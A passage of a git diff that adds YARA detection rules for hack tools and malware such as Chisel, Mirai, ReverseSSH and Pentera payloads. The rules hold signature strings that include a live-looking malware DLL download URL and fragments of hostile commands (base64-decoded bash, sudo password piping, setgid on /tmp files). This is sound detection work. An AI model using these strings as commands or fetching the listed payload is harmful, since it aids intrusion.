22 04 5f 00 70 20 c4 00 34 00 1a 03 b5 00 6e 20 c7 00 34 00 0c 03 6e 20 c7 00 23 00 0c 02 6e 10 c8 00 02 00 0c 02 71 20 39 00 21 00 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/HackTool/BAT/ShanCheat/HackTool_BAT_ShanCheat_GVA_MTB.yar b/HackTool/BAT/ShanCheat/HackTool_BAT_ShanCheat_GVA_MTB.yar new file mode 100644 index 0000000000..96b731c02b --- /dev/null +++ b/HackTool/BAT/ShanCheat/HackTool_BAT_ShanCheat_GVA_MTB.yar @@ -0,0 +1,13 @@ + +rule HackTool_BAT_ShanCheat_GVA_MTB{ + meta: + description = "HackTool:BAT/ShanCheat.GVA!MTB,SIGNATURE_TYPE_PEHSTR,03 00 03 00 03 00 00 " + + strings : + $a_01_0 = {68 00 74 00 74 00 70 00 73 00 3a 00 2f 00 2f 00 63 00 64 00 6e 00 2e 00 67 00 6c 00 69 00 74 00 63 00 68 00 2e 00 67 00 6c 00 6f 00 62 00 61 00 6c 00 2f 00 38 00 32 00 39 00 30 00 31 00 38 00 39 00 61 00 2d 00 30 00 34 00 34 00 63 00 2d 00 34 00 39 00 34 00 64 00 2d 00 39 00 39 00 35 00 37 00 2d 00 35 00 62 00 32 00 65 00 39 00 39 00 33 00 63 00 61 00 31 00 38 00 30 00 2f 00 72 00 71 00 61 00 67 00 6f 00 31 00 2e 00 64 00 6c 00 6c 00 3f 00 76 00 3d 00 31 00 37 00 32 00 36 00 33 00 32 00 32 00 38 00 30 00 34 00 35 00 30 00 37 00 } //2 https://cdn.glitch.global/8290189a-044c-494d-9957-5b2e993ca180/rqago1.dll?v=1726322804507 + $a_01_1 = {46 00 55 00 43 00 4b 00 20 00 57 00 49 00 54 00 48 00 20 00 59 00 4f 00 55 00 52 00 20 00 4d 00 4f 00 4d 00 20 00 54 00 48 00 49 00 53 00 20 00 46 00 4f 00 52 00 20 00 46 00 52 00 45 00 45 00 20 00 50 00 41 00 4e 00 45 00 4c 00 20 00 57 00 48 00 59 00 20 00 43 00 52 00 41 00 43 00 4b 00 3a 00 } //1 FUCK WITH YOUR MOM THIS FOR FREE PANEL WHY CRACK: + $a_01_2 = {63 00 72 00 65 00 64 00 65 00 6e 00 74 00 69 00 61 00 6c 00 73 00 2e 00 74 00 78 00 74 00 } //1 credentials.txt + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1) >=3 + +} \ No newline at end of file diff --git a/HackTool/Linux/Chisel/HackTool_Linux_Chisel_B_MTB.yar b/HackTool/Linux/Chisel/HackTool_Linux_Chisel_B_MTB.yar new file mode 100644 index 0000000000..ca88c50151 --- /dev/null +++ b/HackTool/Linux/Chisel/HackTool_Linux_Chisel_B_MTB.yar @@ -0,0 +1,15 @@ + +rule HackTool_Linux_Chisel_B_MTB{ + meta: + description = "HackTool:Linux/Chisel.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,03 00 03 00 05 00 00 " + + strings : + $a_01_0 = {6a 70 69 6c 6c 6f 72 61 2f 63 68 69 73 65 6c 2f 63 6c 69 65 6e 74 } //1 jpillora/chisel/client + $a_01_1 = {6a 70 69 6c 6c 6f 72 61 2f 63 68 69 73 65 6c 2f 73 68 61 72 65 2f 74 75 6e 6e 65 6c 2e 4e 65 77 50 72 6f 78 79 } //1 jpillora/chisel/share/tunnel.NewProxy + $a_01_2 = {63 68 69 73 65 6c 2d 6d 61 73 74 65 72 77 6f 73 65 72 76 65 72 2f 6d 61 69 6e 2e 67 6f } //1 chisel-masterwoserver/main.go + $a_01_3 = {63 68 69 73 65 6c 2f 73 68 61 72 65 2f 74 75 6e 6e 65 6c 2e 6c 69 73 74 65 6e 55 44 50 } //1 chisel/share/tunnel.listenUDP + $a_01_4 = {67 69 74 68 75 62 2e 63 6f 6d 2f 70 6f 72 74 61 69 6e 65 72 2f 61 67 65 6e 74 2f } //-2 github.com/portainer/agent/ + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*-2) >=3 + +} \ No newline at end of file diff --git a/HackTool/Linux/CloudFox/HackTool_Linux_CloudFox_A.yar b/HackTool/Linux/CloudFox/HackTool_Linux_CloudFox_A.yar new file mode 100644 index 0000000000..c48540bf4c --- /dev/null +++ b/HackTool/Linux/CloudFox/HackTool_Linux_CloudFox_A.yar @@ -0,0 +1,21 @@ + +rule HackTool_Linux_CloudFox_A{ + meta: + description = "HackTool:Linux/CloudFox.A,SIGNATURE_TYPE_ELFHSTR_EXT,16 00 16 00 0b 00 00 " + + strings : + $a_01_0 = {61 77 73 2f 61 77 73 2d 73 64 6b 2d 67 6f } //2 aws/aws-sdk-go + $a_01_1 = {6d 69 74 63 68 65 6c 6c 68 2f 6d 61 70 73 74 72 75 63 74 75 72 65 } //2 mitchellh/mapstructure + $a_01_2 = {62 69 73 68 6f 70 66 6f 78 2f 6b 6e 6f 77 6e 61 77 73 61 63 63 6f 75 6e 74 73 6c 6f 6f 6b 75 70 } //2 bishopfox/knownawsaccountslookup + $a_01_3 = {73 65 72 76 69 63 65 2f 65 6c 61 73 74 69 63 6c 6f 61 64 62 61 6c 61 6e 63 69 6e 67 76 32 } //2 service/elasticloadbalancingv2 + $a_01_4 = {62 73 6f 6e 63 6f 72 65 2e 73 6f 72 74 61 62 6c 65 53 74 72 69 6e 67 } //2 bsoncore.sortableString + $a_01_5 = {61 65 61 64 63 72 79 70 74 65 72 2e 53 32 41 41 45 41 44 43 72 79 70 74 65 72 } //2 aeadcrypter.S2AAEADCrypter + $a_01_6 = {67 69 74 68 75 62 2e 63 6f 6d 2f 42 69 73 68 6f 70 46 6f 78 2f 63 6c 6f 75 64 66 6f 78 2f 69 6e 74 65 72 6e 61 6c } //2 github.com/BishopFox/cloudfox/internal + $a_01_7 = {7a 73 74 64 2e 62 65 74 74 65 72 46 61 73 74 45 6e 63 6f 64 65 72 44 69 63 74 } //2 zstd.betterFastEncoderDict + $a_01_8 = {67 6f 2e 6f 70 65 6e 63 65 6e 73 75 73 2e 69 6f 2f 73 74 61 74 73 2f 76 69 65 77 2e 72 65 67 69 73 74 65 72 56 69 65 77 52 65 71 } //2 go.opencensus.io/stats/view.registerViewReq + $a_01_9 = {73 32 61 2d 67 6f 2f 69 6e 74 65 72 6e 61 6c 2f 74 6f 6b 65 6e 6d 61 6e 61 67 65 72 2e 73 69 6e 67 6c 65 54 6f 6b 65 6e 41 63 63 65 73 73 54 6f 6b 65 6e 4d 61 6e 61 67 65 72 } //2 s2a-go/internal/tokenmanager.singleTokenAccessTokenManager + $a_01_10 = {61 77 73 73 65 72 76 69 63 65 6d 61 70 } //2 awsservicemap + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*2+(#a_01_4 & 1)*2+(#a_01_5 & 1)*2+(#a_01_6 & 1)*2+(#a_01_7 & 1)*2+(#a_01_8 & 1)*2+(#a_01_9 & 1)*2+(#a_01_10 & 1)*2) >=22 + +} \ No newline at end of file diff --git a/HackTool/Linux/CoinMinerExec/HackTool_Linux_CoinMinerExec_A.yar b/HackTool/Linux/CoinMinerExec/HackTool_Linux_CoinMinerExec_A.yar new file mode 100644 index 0000000000..b47f1c5ec9 --- /dev/null +++ b/HackTool/Linux/CoinMinerExec/HackTool_Linux_CoinMinerExec_A.yar @@ -0,0 +1,16 @@ + +rule HackTool_Linux_CoinMinerExec_A{ + meta: + description = "HackTool:Linux/CoinMinerExec.A,SIGNATURE_TYPE_CMDHSTR_EXT,0c 00 0c 00 06 00 00 " + + strings : + $a_00_0 = {73 00 65 00 64 00 20 00 } //2 sed + $a_00_1 = {2e 00 62 00 61 00 73 00 68 00 67 00 6f 00 } //2 .bashgo + $a_00_2 = {7c 00 70 00 61 00 73 00 74 00 65 00 62 00 69 00 6e 00 } //2 |pastebin + $a_00_3 = {7c 00 6f 00 6e 00 69 00 6f 00 6e 00 } //2 |onion + $a_00_4 = {7c 00 62 00 70 00 72 00 6f 00 66 00 72 00 } //2 |bprofr + $a_00_5 = {7c 00 70 00 79 00 74 00 68 00 6f 00 6e 00 } //2 |python + condition: + ((#a_00_0 & 1)*2+(#a_00_1 & 1)*2+(#a_00_2 & 1)*2+(#a_00_3 & 1)*2+(#a_00_4 & 1)*2+(#a_00_5 & 1)*2) >=12 + +} \ No newline at end of file diff --git a/HackTool/Linux/ExploitScan/HackTool_Linux_ExploitScan_C_MTB.yar b/HackTool/Linux/ExploitScan/HackTool_Linux_ExploitScan_C_MTB.yar new file mode 100644 index 0000000000..ebc01421d5 --- /dev/null +++ b/HackTool/Linux/ExploitScan/HackTool_Linux_ExploitScan_C_MTB.yar @@ -0,0 +1,12 @@ + +rule HackTool_Linux_ExploitScan_C_MTB{ + meta: + description = "HackTool:Linux/ExploitScan.C!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,02 00 02 00 02 00 00 " + + strings : + $a_01_0 = {31 c0 e8 1b 85 e6 ff 90 48 8d 0d 7b 26 14 00 bf 01 00 00 00 31 f6 49 c7 c0 ff ff ff ff 0f 1f 44 00 00 e8 5b 2c e9 ff 48 83 fb 03 7c aa 48 8b 10 48 83 78 08 00 74 a0 48 8b 70 20 48 8b 58 28 0f 1f 00 48 83 fb 03 7c 8f 80 3a 23 74 8a 80 3e 2a 75 85 80 7e 01 2e 0f 85 7b ff ff ff 48 89 44 24 40 48 8d 46 01 48 89 44 24 48 48 ff cb 48 89 5c 24 38 48 8d 0d 00 1f 0d 00 bf 03 00 00 00 0f 1f 40 00 e8 fb 29 e9 ff 48 85 c0 0f 8d 47 ff ff ff 48 8b 54 24 48 48 89 54 24 60 48 8b 74 24 38 48 89 74 24 68 48 8d 05 17 ef 4d 00 48 8d 1d b0 15 08 00 48 8d 4c 24 60 e8 86 30 e8 ff 66 0f 1f 44 00 00 84 c9 } //1 + $a_01_1 = {49 11 d7 48 8b 55 08 c4 c2 ab f6 c2 4d 01 d6 c4 42 a3 f6 c3 4d 11 df 49 83 d0 00 49 0f af d4 49 01 c7 49 11 d0 4d 89 ea 4d 89 f3 4d 89 fc 49 83 e4 03 4d 89 fd 49 83 e5 fc 4d 89 c6 4d 0f ac c7 02 49 c1 e8 02 4d 01 ea 4d 11 f3 49 83 d4 00 4d 01 fa 4d 11 c3 49 83 d4 00 c4 c1 7d fe c6 c4 c1 55 fe e9 c4 c1 4d fe f2 c4 c1 45 fe fb c5 dd ef e0 c5 f5 ef cd c5 ed ef d6 c5 e5 ef df c4 e2 5d 00 25 dd 54 18 00 c4 e2 75 00 0d d4 54 18 00 c4 e2 6d 00 15 cb 54 18 00 c4 e2 65 00 1d c2 54 18 00 c5 1d fe e4 c5 15 fe e9 c5 3d fe c2 c5 05 fe fb c4 41 0d ef f4 c4 41 35 ef cd c4 41 2d ef d0 c4 41 25 ef df c5 7d 7f bd e0 00 00 00 c4 c1 05 72 f6 07 c4 c1 0d 72 d6 19 c4 41 0d ef f7 c4 c1 05 72 f1 07 c4 c1 35 72 d1 19 c4 41 35 ef cf c4 c1 05 72 f2 07 } //1 + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1) >=2 + +} \ No newline at end of file diff --git a/HackTool/Linux/Fscan/HackTool_Linux_Fscan_B_MTB.yar b/HackTool/Linux/Fscan/HackTool_Linux_Fscan_B_MTB.yar new file mode 100644 index 0000000000..b7c06d3e6c --- /dev/null +++ b/HackTool/Linux/Fscan/HackTool_Linux_Fscan_B_MTB.yar @@ -0,0 +1,16 @@ + +rule HackTool_Linux_Fscan_B_MTB{ + meta: + description = "HackTool:Linux/Fscan.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,08 00 08 00 06 00 00 " + + strings : + $a_01_0 = {47 65 74 48 6f 73 74 43 72 61 63 6b 49 70 73 } //2 GetHostCrackIps + $a_01_1 = {47 65 74 50 77 64 43 72 61 63 6b 54 61 62 44 61 74 61 } //2 GetPwdCrackTabData + $a_01_2 = {47 65 74 43 79 62 65 72 54 61 62 44 61 74 61 } //2 GetCyberTabData + $a_01_3 = {54 61 72 67 65 74 57 65 62 53 63 61 6e 46 6f 72 46 69 6e 67 65 72 41 6e 64 50 6f 63 } //1 TargetWebScanForFingerAndPoc + $a_01_4 = {50 77 64 43 72 61 63 6b 53 63 61 6e } //1 PwdCrackScan + $a_01_5 = {6e 75 63 6c 65 69 73 65 72 76 65 72 61 63 63 65 73 73 64 65 76 69 63 65 72 6f 75 74 65 72 63 61 6d 65 72 61 4e 75 63 6c 65 69 } //1 nucleiserveraccessdeviceroutercameraNuclei + condition: + ((#a_01_0 & 1)*2+(#a_01_1 & 1)*2+(#a_01_2 & 1)*2+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1) >=8 + +} \ No newline at end of file diff --git a/HackTool/Linux/Ioxproxy/HackTool_Linux_Ioxproxy_A_MTB.yar b/HackTool/Linux/Ioxproxy/HackTool_Linux_Ioxproxy_A_MTB.yar new file mode 100644 index 0000000000..4cdb60b9f2 --- /dev/null +++ b/HackTool/Linux/Ioxproxy/HackTool_Linux_Ioxproxy_A_MTB.yar @@ -0,0 +1,15 @@ + +rule HackTool_Linux_Ioxproxy_A_MTB{ + meta: + description = "HackTool:Linux/Ioxproxy.A!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 05 00 00 " + + strings : + $a_01_0 = {69 6f 78 2f 6e 65 74 69 6f 2e 46 6f 72 77 61 72 64 55 44 50 } //1 iox/netio.ForwardUDP + $a_01_1 = {69 6f 78 2f 6f 70 65 72 61 74 65 2e 6c 6f 63 61 6c 32 4c 6f 63 61 6c 55 44 50 } //1 iox/operate.local2LocalUDP + $a_01_2 = {69 6f 78 2f 6f 70 65 72 61 74 65 2e 72 65 6d 6f 74 65 32 72 65 6d 6f 74 65 54 43 50 } //1 iox/operate.remote2remoteTCP + $a_01_3 = {69 6f 78 2f 6e 65 74 69 6f 2e 46 6f 72 77 61 72 64 55 6e 63 6f 6e 6e 65 63 74 65 64 55 44 50 } //1 iox/netio.ForwardUnconnectedUDP + $a_01_4 = {69 6f 78 2f 6f 70 65 72 61 74 65 2e 73 65 72 76 65 72 48 61 6e 64 73 68 61 6b 65 } //1 iox/operate.serverHandshake + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/HackTool/Linux/Mirai/HackTool_Linux_Mirai_B_MTB.yar b/HackTool/Linux/Mirai/HackTool_Linux_Mirai_B_MTB.yar new file mode 100644 index 0000000000..191ea360c8 --- /dev/null +++ b/HackTool/Linux/Mirai/HackTool_Linux_Mirai_B_MTB.yar @@ -0,0 +1,14 @@ + +rule HackTool_Linux_Mirai_B_MTB{ + meta: + description = "HackTool:Linux/Mirai.B!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 42 75 69 6c 64 4b 69 6c 6c 53 65 6c 66 } //1 main.BuildKillSelf + $a_01_1 = {2f 6d 69 72 61 69 2f 63 6e 63 2f 62 6f 74 2e 67 6f } //1 /mirai/cnc/bot.go + $a_01_2 = {6d 61 69 6e 2e 41 74 74 61 63 6b 53 65 6e 64 } //1 main.AttackSend + $a_01_3 = {6d 61 69 6e 2e 65 6e 63 72 79 70 74 43 72 65 64 65 6e 74 69 61 6c 73 } //1 main.encryptCredentials + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/HackTool/Linux/Mirai/HackTool_Linux_Mirai_C_MTB.yar b/HackTool/Linux/Mirai/HackTool_Linux_Mirai_C_MTB.yar new file mode 100644 index 0000000000..71b0666a4a --- /dev/null +++ b/HackTool/Linux/Mirai/HackTool_Linux_Mirai_C_MTB.yar @@ -0,0 +1,17 @@ + +rule HackTool_Linux_Mirai_C_MTB{ + meta: + description = "HackTool:Linux/Mirai.C!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,05 00 05 00 07 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 28 2a 42 6f 74 29 2e 48 61 6e 64 6c 65 } //1 main.(*Bot).Handle + $a_01_1 = {6d 61 69 6e 2e 28 2a 44 61 74 61 62 61 73 65 29 2e 43 61 6e 4c 61 75 6e 63 68 41 74 74 61 63 6b } //1 main.(*Database).CanLaunchAttack + $a_01_2 = {2a 6d 61 69 6e 2e 41 74 74 61 63 6b 53 65 6e 64 } //1 *main.AttackSend + $a_01_3 = {6d 61 69 6e 2e 28 2a 42 6f 74 29 2e 51 75 65 75 65 42 75 66 } //1 main.(*Bot).QueueBuf + $a_01_4 = {6d 61 69 6e 2e 28 2a 44 61 74 61 62 61 73 65 29 2e 43 68 65 63 6b 41 70 69 43 6f 64 65 } //1 main.(*Database).CheckApiCode + $a_01_5 = {6d 61 69 6e 2e 28 2a 43 6c 69 65 6e 74 4c 69 73 74 29 2e 44 69 73 74 72 69 62 75 74 69 6f 6e } //1 main.(*ClientList).Distribution + $a_01_6 = {2f 6d 69 72 61 69 2f 63 6e 63 2f 61 74 74 61 63 6b 2e 67 6f } //1 /mirai/cnc/attack.go + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1) >=5 + +} \ No newline at end of file diff --git a/HackTool/Linux/PenteraPayload/HackTool_Linux_PenteraPayload_A.yar b/HackTool/Linux/PenteraPayload/HackTool_Linux_PenteraPayload_A.yar new file mode 100644 index 0000000000..2ca44dc783 --- /dev/null +++ b/HackTool/Linux/PenteraPayload/HackTool_Linux_PenteraPayload_A.yar @@ -0,0 +1,14 @@ + +rule HackTool_Linux_PenteraPayload_A{ + meta: + description = "HackTool:Linux/PenteraPayload.A,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_80_0 = {41 63 74 69 6f 6e 73 2e 44 42 53 65 72 76 69 63 65 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 47 65 74 4f 73 43 6f 6d 6d 61 6e 64 73 } //Actions.DBServiceTerminationAction.GetOsCommands 1 + $a_80_1 = {41 63 74 69 6f 6e 73 2e 42 61 63 6b 75 70 53 65 72 76 69 63 65 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 47 65 74 4f 73 43 6f 6d 6d 61 6e 64 73 } //Actions.BackupServiceTerminationAction.GetOsCommands 1 + $a_80_2 = {41 63 74 69 6f 6e 73 2e 45 44 52 53 65 72 76 69 63 65 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 47 65 74 4f 73 43 6f 6d 6d 61 6e 64 73 } //Actions.EDRServiceTerminationAction.GetOsCommands 1 + $a_80_3 = {41 63 74 69 6f 6e 73 2e 46 69 6c 65 73 45 6e 63 72 79 70 74 69 6f 6e 41 63 74 69 6f 6e 2e 45 6e 63 72 79 70 74 46 69 6c 65 } //Actions.FilesEncryptionAction.EncryptFile 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/HackTool/Linux/PenteraPayload/HackTool_Linux_PenteraPayload_B.yar b/HackTool/Linux/PenteraPayload/HackTool_Linux_PenteraPayload_B.yar new file mode 100644 index 0000000000..222a33570e --- /dev/null +++ b/HackTool/Linux/PenteraPayload/HackTool_Linux_PenteraPayload_B.yar @@ -0,0 +1,16 @@ + +rule HackTool_Linux_PenteraPayload_B{ + meta: + description = "HackTool:Linux/PenteraPayload.B,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 06 00 00 " + + strings : + $a_80_0 = {41 63 74 69 6f 6e 73 2f 42 61 63 6b 75 70 53 65 72 76 69 63 65 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 67 6f } //Actions/BackupServiceTerminationAction.go 1 + $a_80_1 = {41 63 74 69 6f 6e 73 2f 44 42 53 65 72 76 69 63 65 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 67 6f } //Actions/DBServiceTerminationAction.go 1 + $a_80_2 = {41 63 74 69 6f 6e 73 2f 45 44 52 54 65 72 6d 69 6e 61 74 69 6f 6e 41 63 74 69 6f 6e 2e 67 6f } //Actions/EDRTerminationAction.go 1 + $a_80_3 = {41 63 74 69 6f 6e 73 2f 53 65 6e 64 49 6e 6a 65 63 74 65 64 53 74 72 69 6e 67 73 41 63 74 69 6f 6e 2e 67 6f } //Actions/SendInjectedStringsAction.go 1 + $a_80_4 = {41 63 74 69 6f 6e 73 2f 46 69 6c 65 73 45 6e 63 72 79 70 74 69 6f 6e 41 63 74 69 6f 6e 2e 67 6f } //Actions/FilesEncryptionAction.go 1 + $a_80_5 = {41 63 74 69 6f 6e 73 2f 4f 73 43 6f 6d 6d 61 6e 64 73 41 63 74 69 6f 6e 2e 67 6f } //Actions/OsCommandsAction.go 1 + condition: + ((#a_80_0 & 1)*1+(#a_80_1 & 1)*1+(#a_80_2 & 1)*1+(#a_80_3 & 1)*1+(#a_80_4 & 1)*1+(#a_80_5 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/HackTool/Linux/ReverseSSH/HackTool_Linux_ReverseSSH_D_MTB.yar b/HackTool/Linux/ReverseSSH/HackTool_Linux_ReverseSSH_D_MTB.yar new file mode 100644 index 0000000000..619de8e330 --- /dev/null +++ b/HackTool/Linux/ReverseSSH/HackTool_Linux_ReverseSSH_D_MTB.yar @@ -0,0 +1,14 @@ + +rule HackTool_Linux_ReverseSSH_D_MTB{ + meta: + description = "HackTool:Linux/ReverseSSH.D!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,04 00 04 00 04 00 00 " + + strings : + $a_01_0 = {63 72 65 61 74 65 52 65 76 65 72 73 65 50 6f 72 74 46 6f 72 77 61 72 64 69 6e 67 43 61 6c 6c 62 61 63 6b } //1 createReversePortForwardingCallback + $a_01_1 = {6d 61 69 6e 2e 63 72 65 61 74 65 53 53 48 53 65 73 73 69 6f 6e 48 61 6e 64 6c 65 72 } //1 main.createSSHSessionHandler + $a_01_2 = {67 69 74 68 75 62 2e 63 6f 6d 2f 46 61 68 72 6a 2f 72 65 76 65 72 73 65 2d 73 73 68 } //1 github.com/Fahrj/reverse-ssh + $a_01_3 = {6d 61 69 6e 2e 63 72 65 61 74 65 50 61 73 73 77 6f 72 64 48 61 6e 64 6c 65 72 } //1 main.createPasswordHandler + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1) >=4 + +} \ No newline at end of file diff --git a/HackTool/Linux/SAgnt/HackTool_Linux_SAgnt_E_MTB.yar b/HackTool/Linux/SAgnt/HackTool_Linux_SAgnt_E_MTB.yar new file mode 100644 index 0000000000..31b28e3e6d --- /dev/null +++ b/HackTool/Linux/SAgnt/HackTool_Linux_SAgnt_E_MTB.yar @@ -0,0 +1,18 @@ + +rule HackTool_Linux_SAgnt_E_MTB{ + meta: + description = "HackTool:Linux/SAgnt.E!MTB,SIGNATURE_TYPE_ELFHSTR_EXT,06 00 06 00 08 00 00 " + + strings : + $a_01_0 = {6d 61 69 6e 2e 28 2a 63 6f 6e 6e 50 6f 6f 6c 29 2e 61 64 64 43 6f 6e 6e } //1 main.(*connPool).addConn + $a_01_1 = {6d 61 69 6e 2e 6e 65 77 41 6e 74 69 74 72 61 63 6b 4c 69 6e 6b 54 61 73 6b } //1 main.newAntitrackLinkTask + $a_01_2 = {6d 61 69 6e 2e 28 2a 61 6e 74 69 74 72 61 63 6b 4c 69 6e 6b 4e 65 74 29 2e 61 64 64 54 61 73 6b 43 6f 6e 6e } //1 main.(*antitrackLinkNet).addTaskConn + $a_01_3 = {6d 61 69 6e 2e 67 65 74 49 50 76 34 43 6c 69 65 6e 74 } //1 main.getIPv4Client + $a_01_4 = {6d 61 69 6e 2e 72 75 6e 41 6e 74 69 74 72 61 63 6b 52 6f 75 74 65 72 } //1 main.runAntitrackRouter + $a_01_5 = {6d 61 69 6e 2e 28 2a 73 65 72 76 65 72 4d 73 67 44 69 73 70 61 74 63 68 29 2e 73 74 61 72 74 } //1 main.(*serverMsgDispatch).start + $a_01_6 = {6d 61 69 6e 2e 61 6c 6c 6f 77 54 75 6e 46 6f 72 77 61 72 64 } //1 main.allowTunForward + $a_01_7 = {6d 61 69 6e 2e 61 64 64 53 6e 61 74 52 75 6c 65 } //1 main.addSnatRule + condition: + ((#a_01_0 & 1)*1+(#a_01_1 & 1)*1+(#a_01_2 & 1)*1+(#a_01_3 & 1)*1+(#a_01_4 & 1)*1+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=6 + +} \ No newline at end of file diff --git a/HackTool/Linux/SuspCommandExecution/HackTool_Linux_SuspCommandExecution_A.yar b/HackTool/Linux/SuspCommandExecution/HackTool_Linux_SuspCommandExecution_A.yar new file mode 100644 index 0000000000..0a4cd7c9e7 --- /dev/null +++ b/HackTool/Linux/SuspCommandExecution/HackTool_Linux_SuspCommandExecution_A.yar @@ -0,0 +1,13 @@ + +rule HackTool_Linux_SuspCommandExecution_A{ + meta: + description = "HackTool:Linux/SuspCommandExecution.A,SIGNATURE_TYPE_CMDHSTR_EXT,0f 00 0f 00 03 00 00 " + + strings : + $a_00_0 = {73 00 75 00 64 00 6f 00 20 00 2d 00 53 00 20 00 2d 00 70 00 } //5 sudo -S -p + $a_00_1 = {70 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 3a 00 } //5 password: + $a_00_2 = {62 00 61 00 73 00 68 00 20 00 2d 00 63 00 20 00 27 00 62 00 61 00 73 00 65 00 36 00 34 00 20 00 2d 00 64 00 20 00 3c 00 3c 00 3c 00 20 00 } //5 bash -c 'base64 -d <<< + condition: + ((#a_00_0 & 1)*5+(#a_00_1 & 1)*5+(#a_00_2 & 1)*5) >=15 + +} \ No newline at end of file diff --git a/HackTool/Linux/SuspPasswordPolicyDiscovery/HackTool_Linux_SuspPasswordPolicyDiscovery_A.yar b/HackTool/Linux/SuspPasswordPolicyDiscovery/HackTool_Linux_SuspPasswordPolicyDiscovery_A.yar new file mode 100644 index 0000000000..3d386e4374 --- /dev/null +++ b/HackTool/Linux/SuspPasswordPolicyDiscovery/HackTool_Linux_SuspPasswordPolicyDiscovery_A.yar @@ -0,0 +1,11 @@ + +rule HackTool_Linux_SuspPasswordPolicyDiscovery_A{ + meta: + description = "HackTool:Linux/SuspPasswordPolicyDiscovery.A,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_00_0 = {63 00 68 00 61 00 67 00 65 00 20 00 2d 00 6c 00 } //10 chage -l + condition: + ((#a_00_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/Linux/SuspPrivilegeEscalation/HackTool_Linux_SuspPrivilegeEscalation_A.yar b/HackTool/Linux/SuspPrivilegeEscalation/HackTool_Linux_SuspPrivilegeEscalation_A.yar new file mode 100644 index 0000000000..8224e468d7 --- /dev/null +++ b/HackTool/Linux/SuspPrivilegeEscalation/HackTool_Linux_SuspPrivilegeEscalation_A.yar @@ -0,0 +1,11 @@ + +rule HackTool_Linux_SuspPrivilegeEscalation_A{ + meta: + description = "HackTool:Linux/SuspPrivilegeEscalation.A,SIGNATURE_TYPE_CMDHSTR_EXT,0a 00 0a 00 01 00 00 " + + strings : + $a_00_0 = {63 00 68 00 6d 00 6f 00 64 00 20 00 67 00 2b 00 73 00 20 00 2f 00 74 00 6d 00 70 00 2f 00 61 00 69 00 71 00 2d 00 } //10 chmod g+s /tmp/aiq- + condition: + ((#a_00_0 & 1)*10) >=10 + +} \ No newline at end of file diff --git a/HackTool/Linux/SuspUserAdd/HackTool_Linux_SuspUserAdd_E.yar b/HackTool/Linux/SuspUserAdd/HackTool_Linux_SuspUserAdd_E.yar new file mode 100644 index 0000000000..b17064932f --- /dev/null +++ b/HackTool/Linux/SuspUserAdd/HackTool_Linux_SuspUserAdd_E.yar @@ -0,0 +1,14 @@ + +rule HackTool_Linux_SuspUserAdd_E{ + meta: + description = "HackTool:Linux/SuspUserAdd.E,SIGNATURE_TYPE_CMDHSTR_EXT,28 00 28 00 04 00 00 " + + strings : + $a_00_0 = {75 00 73 00 65 00 72 00 61 00 64 00 64 00 } //10 useradd + $a_00_1 = {61 00 69 00 75 00 73 00 65 00 72 00 } //10 aiuser + $a_00_2 = {2d 00 4b 00 20 00 4d 00 41 00 49 00 4c 00 5f 00 44 00 49 00 52 00 3d 00 2f 00 64 00 65 00 76 00 2f 00 6e 00 75 00 6c 00 6c 00 } //10 -K MAIL_DIR=/dev/null + $a_00_3 = {2d 00 4b 00 20 00 4d 00 41 00 49 00 4c 00 5f 00 46 00 49 00 4c 00 45 00 3d 00 2f 00 64 00 65 00 76 00 2f 00 6e 00 75 00 6c 00 6c 00 } //10 -K MAIL_FILE=/dev/null + condition: + ((#a_00_0 & 1)*10+(#a_00_1 & 1)*10+(#a_00_2 & 1)*10+(#a_00_3 & 1)*10) >=40 + +} \ No newline at end of file diff --git a/HackTool/Linux/WinExeExecution/HackTool_Linux_WinExeExecution_BA.yar 